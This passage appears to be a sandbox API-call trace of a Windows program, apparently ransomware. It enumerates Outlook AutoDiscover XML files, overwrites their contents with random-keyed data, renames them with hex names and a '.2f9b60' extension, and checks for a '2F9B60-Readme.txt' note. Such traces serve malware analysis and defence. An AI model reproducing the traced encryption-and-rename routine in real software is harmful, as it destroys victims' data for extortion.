Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\FLASH.NET.XML", dwFileAttributes=0x20) returned 1 [0151.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\FLASH.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\flash.net.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2554 [0151.630] GetFileSizeEx (in: hFile=0x2554, lpFileSize=0x2910f7a0 | out: lpFileSize=0x2910f7a0*=808) returned 1 [0151.630] SetFilePointerEx (in: hFile=0x2554, liDistanceToMove=0x324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.630] ReadFile (in: hFile=0x2554, lpBuffer=0x2910f720, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2910f768, lpOverlapped=0x0 | out: lpBuffer=0x2910f720*, lpNumberOfBytesRead=0x2910f768*=0x4, lpOverlapped=0x0) returned 1 [0152.788] SetFilePointerEx (in: hFile=0x2554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6d10 [0152.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420525f0 [0152.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42052680 [0152.788] NtQuerySystemTime (in: CurrentTime=0x2910f660 | out: CurrentTime=0x2910f660*=132462177580042000) returned 0x0 [0152.788] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x2479ddff [0152.788] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x776be96d [0152.788] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x3fcfe357 [0152.788] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x510f7fd1 [0152.788] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x46c90ec8 [0152.788] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x1dee94e5 [0152.788] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x4e46901 [0152.788] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x63b2c9ab [0152.788] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x7dbae8d5 [0152.788] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x461860b8 [0152.788] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x179dc94d [0152.788] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x7cec3898 [0152.789] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0xda9533c [0152.789] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x6884ae4 [0152.789] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x4dedf466 [0152.789] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x4a4d5c0e [0152.789] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x725db8ff [0152.789] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x8d5571d [0152.789] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x1916dcdc [0152.789] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x57b2dea1 [0152.789] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x1802661 [0152.789] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x124932ca [0152.789] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x3c153b61 [0152.789] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x23a5798a [0152.789] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x431bbeb9 [0152.789] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x7e050774 [0152.789] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x1d6dd6fe [0152.789] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x1676b9cf [0152.789] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x1ccfb1d0 [0152.789] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x544d08d [0152.789] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0xa4a29d5 [0152.789] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x134e9019 [0152.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420526b0 [0152.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869a40 [0152.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420526e0 [0152.799] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869a40) returned 1 [0152.799] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052680) returned 1 [0152.799] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6d10) returned 1 [0152.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bf40 [0152.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869a40 [0152.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6d10 [0152.799] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6d10) returned 1 [0152.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201ae130 [0152.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2019f0f0 [0152.800] ReadFile (in: hFile=0x2554, lpBuffer=0x201ae130, nNumberOfBytesToRead=0x328, lpNumberOfBytesRead=0x2910f650, lpOverlapped=0x0 | out: lpBuffer=0x201ae130*, lpNumberOfBytesRead=0x2910f650*=0x328, lpOverlapped=0x0) returned 1 [0152.800] SetFilePointerEx (in: hFile=0x2554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.800] WriteFile (in: hFile=0x2554, lpBuffer=0x2019f0f0*, nNumberOfBytesToWrite=0x328, lpNumberOfBytesWritten=0x2910f654, lpOverlapped=0x0 | out: lpBuffer=0x2019f0f0*, lpNumberOfBytesWritten=0x2910f654*=0x328, lpOverlapped=0x0) returned 1 [0162.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18540 [0162.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18600 [0162.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18600) returned 1 [0162.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2019f0f0) returned 1 [0162.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ae130) returned 1 [0162.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869a40) returned 1 [0162.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bf40) returned 1 [0162.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x42c18600 [0162.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bf40 [0162.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869a40 [0162.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18630 [0162.336] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18630) returned 1 [0162.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x42c18630 [0162.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18660 [0162.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18690 [0162.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18690) returned 1 [0162.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869a40) returned 1 [0162.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bf40) returned 1 [0162.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10c) returned 0x42c14870 [0162.339] SetFilePointerEx (in: hFile=0x2554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.339] WriteFile (hFile=0x2554, lpBuffer=0x42c14870, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2910f770, lpOverlapped=0x0) [0200.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0200.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8676c0 [0200.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ea0 [0200.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262ea0) returned 1 [0200.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20262ea0 [0200.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260e60 [0200.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260ef0 [0200.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260ef0) returned 1 [0200.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8676c0) returned 1 [0200.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0200.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1b7d8400 [0200.536] sprintf (in: _Dest=0x1b7d8400, _Format="%c%c" | out: _Dest="5e") returned 2 [0200.536] sprintf (in: _Dest=0x1b7d8402, _Format="%c%c" | out: _Dest="b7") returned 2 [0200.536] sprintf (in: _Dest=0x1b7d8404, _Format="%c%c" | out: _Dest="de") returned 2 [0200.536] sprintf (in: _Dest=0x1b7d8406, _Format="%c%c" | out: _Dest="a3") returned 2 [0200.536] sprintf (in: _Dest=0x1b7d8408, _Format="%c%c" | out: _Dest="47") returned 2 [0200.536] sprintf (in: _Dest=0x1b7d840a, _Format="%c%c" | out: _Dest="da") returned 2 [0200.536] sprintf (in: _Dest=0x1b7d840c, _Format="%c%c" | out: _Dest="f8") returned 2 [0200.536] sprintf (in: _Dest=0x1b7d840e, _Format="%c%c" | out: _Dest="03") returned 2 [0200.536] sprintf (in: _Dest=0x1b7d8410, _Format="%c%c" | out: _Dest="5e") returned 2 [0200.536] sprintf (in: _Dest=0x1b7d8412, _Format="%c%c" | out: _Dest="19") returned 2 [0200.536] sprintf (in: _Dest=0x1b7d8414, _Format="%c%c" | out: _Dest="79") returned 2 [0200.537] sprintf (in: _Dest=0x1b7d8416, _Format="%c%c" | out: _Dest="51") returned 2 [0200.537] sprintf (in: _Dest=0x1b7d8418, _Format="%c%c" | out: _Dest="a7") returned 2 [0200.537] sprintf (in: _Dest=0x1b7d841a, _Format="%c%c" | out: _Dest="82") returned 2 [0200.537] sprintf (in: _Dest=0x1b7d841c, _Format="%c%c" | out: _Dest="ca") returned 2 [0200.537] sprintf (in: _Dest=0x1b7d841e, _Format="%c%c" | out: _Dest="58") returned 2 [0200.537] sprintf (in: _Dest=0x1b7d8420, _Format="%c%c" | out: _Dest="51") returned 2 [0200.537] sprintf (in: _Dest=0x1b7d8422, _Format="%c%c" | out: _Dest="07") returned 2 [0200.537] sprintf (in: _Dest=0x1b7d8424, _Format="%c%c" | out: _Dest="f9") returned 2 [0200.537] sprintf (in: _Dest=0x1b7d8426, _Format="%c%c" | out: _Dest="58") returned 2 [0200.537] sprintf (in: _Dest=0x1b7d8428, _Format="%c%c" | out: _Dest="66") returned 2 [0200.537] sprintf (in: _Dest=0x1b7d842a, _Format="%c%c" | out: _Dest="4a") returned 2 [0200.537] sprintf (in: _Dest=0x1b7d842c, _Format="%c%c" | out: _Dest="cd") returned 2 [0200.537] sprintf (in: _Dest=0x1b7d842e, _Format="%c%c" | out: _Dest="e8") returned 2 [0200.537] sprintf (in: _Dest=0x1b7d8430, _Format="%c%c" | out: _Dest="b4") returned 2 [0200.537] sprintf (in: _Dest=0x1b7d8432, _Format="%c%c" | out: _Dest="9c") returned 2 [0200.537] RtlInitAnsiString (in: DestinationString=0x2910f7e8, SourceString="5eb7dea347daf8035e197951a782ca585107f958664acde8b49c" | out: DestinationString="5eb7dea347daf8035e197951a782ca585107f958664acde8b49c") [0200.537] RtlAnsiStringToUnicodeString (in: DestinationString=0x2910f7b8, SourceString="5eb7dea347daf8035e197951a782ca585107f958664acde8b49c", AllocateDestinationString=1 | out: DestinationString="5eb7dea347daf8035e197951a782ca585107f958664acde8b49c") returned 0x0 [0200.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b866ac0 [0200.538] wcscat (in: _Dest=0x431eabf0, _Source="5eb7dea347daf" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\5eb7dea347daf") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\5eb7dea347daf" [0200.538] wcscat (in: _Dest=0x431eabf0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\5eb7dea347daf.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\5eb7dea347daf.2f9b60" [0200.538] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\5eb7dea347daf.2f9b60", NtPathName=0x2910f790, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\5eb7dea347daf.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x118fd0 [0219.995] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118fd0) returned 1 [0219.995] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431fd2e0) returned 1 [0219.995] NtQueryInformationFile (in: FileHandle=0x2554, IoStatusBlock=0x2910f7f8, FileInformation=0x2910f808, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2910f7f8, FileInformation=0x2910f808) returned 0x0 [0219.995] NtSetInformationFile (FileHandle=0x2554, IoStatusBlock=0x2910f7f8, FileInformation=0x2910f808, Length=0x28, FileInformationClass=0x4) returned 0x0 [0222.704] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431eabf0) returned 1 [0222.705] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866ac0) returned 1 [0222.705] FlushFileBuffers (hFile=0x2554) returned 1 [0222.711] CloseHandle (hObject=0x2554) returned 1 [0223.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1cd65d90 [0223.193] wcscpy (in: _Dest=0x1cd65d90, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0223.193] wcscat (in: _Dest=0x1cd65d90, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\2F9B60-Readme.txt" [0223.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\2f9b60-readme.txt")) returned 0x20 [0223.194] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65d90) returned 1 [0223.195] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad3f0) returned 1 [0223.195] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6a513ab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL.ROGERS.COM.XML", cAlternateFileName="NLROGE~1.XML")) returned 1 [0223.195] wcscmp (_String1="NL.ROGERS.COM.XML", _String2=".") returned 1 [0223.195] wcscmp (_String1="NL.ROGERS.COM.XML", _String2="..") returned 1 [0223.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x202ad3f0 [0223.195] wcscpy (in: _Dest=0x202ad3f0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0223.195] wcscat (in: _Dest=0x202ad3f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0223.195] wcscat (in: _Dest=0x202ad3f0, _Source="NL.ROGERS.COM.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NL.ROGERS.COM.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NL.ROGERS.COM.XML" [0223.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NL.ROGERS.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\nl.rogers.com.xml")) returned 0x20 [0223.196] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NL.ROGERS.COM.XML", dwFileAttributes=0x20) returned 1 [0223.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NL.ROGERS.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\nl.rogers.com.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa38 [0223.198] GetFileSizeEx (in: hFile=0xa38, lpFileSize=0x2910f7a0 | out: lpFileSize=0x2910f7a0*=818) returned 1 [0223.198] SetFilePointerEx (in: hFile=0xa38, liDistanceToMove=0x32e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.199] ReadFile (in: hFile=0xa38, lpBuffer=0x2910f720, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2910f768, lpOverlapped=0x0 | out: lpBuffer=0x2910f720*, lpNumberOfBytesRead=0x2910f768*=0x4, lpOverlapped=0x0) returned 1 [0223.205] SetFilePointerEx (in: hFile=0xa38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9460 [0223.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a90a0 [0223.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a90d0 [0223.206] NtQuerySystemTime (in: CurrentTime=0x2910f660 | out: CurrentTime=0x2910f660*=132462178272058000) returned 0x0 [0223.206] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x4d25d8f [0223.206] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x5c0438bb [0223.206] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x408d3a6 [0223.206] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x11550dd1 [0223.206] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x7e085480 [0223.206] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x30aabbf5 [0223.206] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x523a9d9d [0223.206] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x8c7700 [0223.206] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x4e75c9fa [0223.207] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x1b6d7831 [0223.207] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x122f7f80 [0223.207] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x149e62c5 [0223.207] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x661810e2 [0223.207] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x421f9ef2 [0223.207] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x1ab2c9bb [0223.207] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x2b7abd8e [0223.207] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x4aec0f4c [0223.207] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x1fa2b337 [0223.207] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x124d8c4e [0223.207] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x2e432f56 [0223.207] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x95b63da [0223.207] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x55474f19 [0223.207] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x68ed2d34 [0223.207] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x66decaf5 [0223.207] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x6a66173b [0223.207] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x5c706d9a [0223.207] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x2cc1b53e [0223.207] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x1815e68b [0223.207] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x13fec883 [0223.207] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x3f7ab8aa [0223.207] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x47618aa9 [0223.207] RtlRandomEx (in: Seed=0x2910f650 | out: Seed=0x2910f650) returned 0x741aff49 [0223.208] ReadFile (in: hFile=0xa38, lpBuffer=0x42ab16b0, nNumberOfBytesToRead=0x332, lpNumberOfBytesRead=0x2910f650, lpOverlapped=0x0 | out: lpBuffer=0x42ab16b0*, lpNumberOfBytesRead=0x2910f650*=0x332, lpOverlapped=0x0) returned 1 [0223.209] SetFilePointerEx (in: hFile=0xa38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.209] WriteFile (in: hFile=0xa38, lpBuffer=0x42a8be10*, nNumberOfBytesToWrite=0x332, lpNumberOfBytesWritten=0x2910f654, lpOverlapped=0x0 | out: lpBuffer=0x42a8be10*, lpNumberOfBytesWritten=0x2910f654*=0x332, lpOverlapped=0x0) returned 1 [0223.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0223.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d7e0 [0223.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d7e0) returned 1 [0223.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a8be10) returned 1 [0223.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ab16b0) returned 1 [0223.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869ec0) returned 1 [0223.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61ec0) returned 1 [0223.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x431ad5a0 [0223.600] SetFilePointerEx (in: hFile=0xa38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0223.600] WriteFile (in: hFile=0xa38, lpBuffer=0x167ee0*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2910f770, lpOverlapped=0x0 | out: lpBuffer=0x167ee0*, lpNumberOfBytesWritten=0x2910f770*=0x114, lpOverlapped=0x0) returned 1 [0223.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62690 [0223.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869ec0 [0223.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ad20 [0223.771] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ad20) returned 1 [0223.771] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b82ad20 [0223.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b2f0 [0223.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b8c0 [0223.773] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b8c0) returned 1 [0223.774] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869ec0) returned 1 [0223.774] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62690) returned 1 [0223.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x1ce62690 [0223.774] sprintf (in: _Dest=0x1ce62690, _Format="%c%c" | out: _Dest="12") returned 2 [0223.775] sprintf (in: _Dest=0x1ce62692, _Format="%c%c" | out: _Dest="ed") returned 2 [0223.775] sprintf (in: _Dest=0x1ce62694, _Format="%c%c" | out: _Dest="de") returned 2 [0223.775] sprintf (in: _Dest=0x1ce62696, _Format="%c%c" | out: _Dest="a5") returned 2 [0223.775] sprintf (in: _Dest=0x1ce62698, _Format="%c%c" | out: _Dest="1c") returned 2 [0223.775] sprintf (in: _Dest=0x1ce6269a, _Format="%c%c" | out: _Dest="89") returned 2 [0223.775] sprintf (in: _Dest=0x1ce6269c, _Format="%c%c" | out: _Dest="1e") returned 2 [0223.775] sprintf (in: _Dest=0x1ce6269e, _Format="%c%c" | out: _Dest="fb") returned 2 [0223.775] sprintf (in: _Dest=0x1ce626a0, _Format="%c%c" | out: _Dest="f3") returned 2 [0223.775] sprintf (in: _Dest=0x1ce626a2, _Format="%c%c" | out: _Dest="d0") returned 2 [0223.775] sprintf (in: _Dest=0x1ce626a4, _Format="%c%c" | out: _Dest="09") returned 2 [0223.775] sprintf (in: _Dest=0x1ce626a6, _Format="%c%c" | out: _Dest="6c") returned 2 [0223.775] sprintf (in: _Dest=0x1ce626a8, _Format="%c%c" | out: _Dest="72") returned 2 [0223.775] sprintf (in: _Dest=0x1ce626aa, _Format="%c%c" | out: _Dest="00") returned 2 [0223.775] sprintf (in: _Dest=0x1ce626ac, _Format="%c%c" | out: _Dest="45") returned 2 [0223.775] 